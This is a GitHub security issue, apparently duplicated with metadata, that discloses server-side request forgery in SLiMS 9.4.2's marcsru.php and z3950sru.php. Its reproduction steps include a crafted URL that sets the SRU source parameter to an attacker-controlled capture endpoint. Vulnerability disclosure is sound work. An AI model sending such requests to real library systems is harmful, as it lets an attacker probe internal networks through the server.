SLiMS Senayan Library Management System v9.4.2 was discovered to contain multiple Server-Side Request Forgeries via the components /bibliography/marcsru.php and /bibliography/z3950sru.php.
**The bug**
A Server Side Request Forgery exists in `admin/modules/bibliography/marcsru.php` and `admin/modules/bibliography/z3950sru.php` due to the class in `lib/marc/XMLParser.inc.php`  

**Reproduce**
Steps to reproduce the behavior:
1. Go to `http://127.0.0.1:8008/slims9_bulian-9.4.2/admin/index.php?mod=bibliography` then go to copy cataloguing
2. choose between marc sru or 23950sru
3. type in something what you want in the search bar
4. set burpsuite intercept on 
5. change the `z3950_SRU_source` or  `marc_SRU_source` parameter value to some url that grab the traffic
6.  forward the request
7. or just visit `http://127.0.0.1:8008/slims9_bulian-9.4.2/admin/modules/bibliography/marcsru.php?keywords=aaaaaaaa&index=0&marc_SRU_source=URL_ENCODED_ENDPOINT_THAT_CAPTURE_HTTP_LIKE_HOOKBIN`

**Screenshots**
Normal requests

<img width="1435" alt="Screen Shot 2022-08-12 at 04 11 39" src="https://user-images.githubusercontent.com/46653986/184243053-ddf2bf58-051e-4c45-8873-c573c2ce7394.png">

Tampered and SSRF trigger(netcat)

<img width="1438" alt="Screen Shot 2022-08-12 at 04 13 21" src="https://user-images.githubusercontent.com/46653986/184243621-ca8f82af-4a18-4abe-8ef4-c69e51c8a60d.png">


Tampered and SSRF trigger(toptal.com)

<img width="1440" alt="Screen Shot 2022-08-12 at 04 22 25" src="https://user-images.githubusercontent.com/46653986/184244902-e9df9ed5-7c03-4c0b-bdf9-a58312c3cf67.png">

**Versions**
- OS: MacOS Mojave 10.14.6
- Browser: Google Chrome | 103.0.5060.134 (Official Build) (x86_64)
- Slims Version: slims9_bulian-9.4.2
[Security Bugs]  Server Side Request Forgery
This is a GitHub Issue
repo:slims9_bulian
owner:slims
Title : [Security Bugs]  Server Side Request Forgery
Issue date:

--- start body ---
**The bug**
A Server Side Request Forgery exists in `admin/modules/bibliography/marcsru.php` and `admin/modules/bibliography/z3950sru.php` due to the class in `lib/marc/XMLParser.inc.php`  

**Reproduce**
Steps to reproduce the behavior:
1. Go to `http://127.0.0.1:8008/slims9_bulian-9.4.2/admin/index.php?mod=bibliography` then go to copy cataloguing
2. choose between marc sru or 23950sru
3. type in something what you want in the search bar
4. set burpsuite intercept on 
5. change the `z3950_SRU_source` or  `marc_SRU_source` parameter value to some url that grab the traffic
6.  forward the request
7. or just visit `http://127.0.0.1:8008/slims9_bulian-9.4.2/admin/modules/bibliography/marcsru.php?keywords=aaaaaaaa&index=0&marc_SRU_source=URL_ENCODED_ENDPOINT_THAT_CAPTURE_HTTP_LIKE_HOOKBIN`

**Screenshots**
Normal requests

<img width="1435" alt="Screen Shot 2022-08-12 at 04 11 39" src="https://user-images.githubusercontent.com/46653986/184243053-ddf2bf58-051e-4c45-8873-c573c2ce7394.png">

Tampered and SSRF trigger(netcat)

<img width="1438" alt="Screen Shot 2022-08-12 at 04 13 21" src="https://user-images.githubusercontent.com/46653986/184243621-ca8f82af-4a18-4abe-8ef4-c69e51c8a60d.png">


Tampered and SSRF trigger(toptal.com)

<img width="1440" alt="Screen Shot 2022-08-12 at 04 22 25" src="https://user-images.githubusercontent.com/46653986/184244902-e9df9ed5-7c03-4c0b-bdf9-a58312c3cf67.png">

**Versions**
- OS: MacOS Mojave 10.14.6
- Browser: Google Chrome | 103.0.5060.134 (Official Build) (x86_64)
- Slims Version: slims9_bulian-9.4.2
--- end body ---
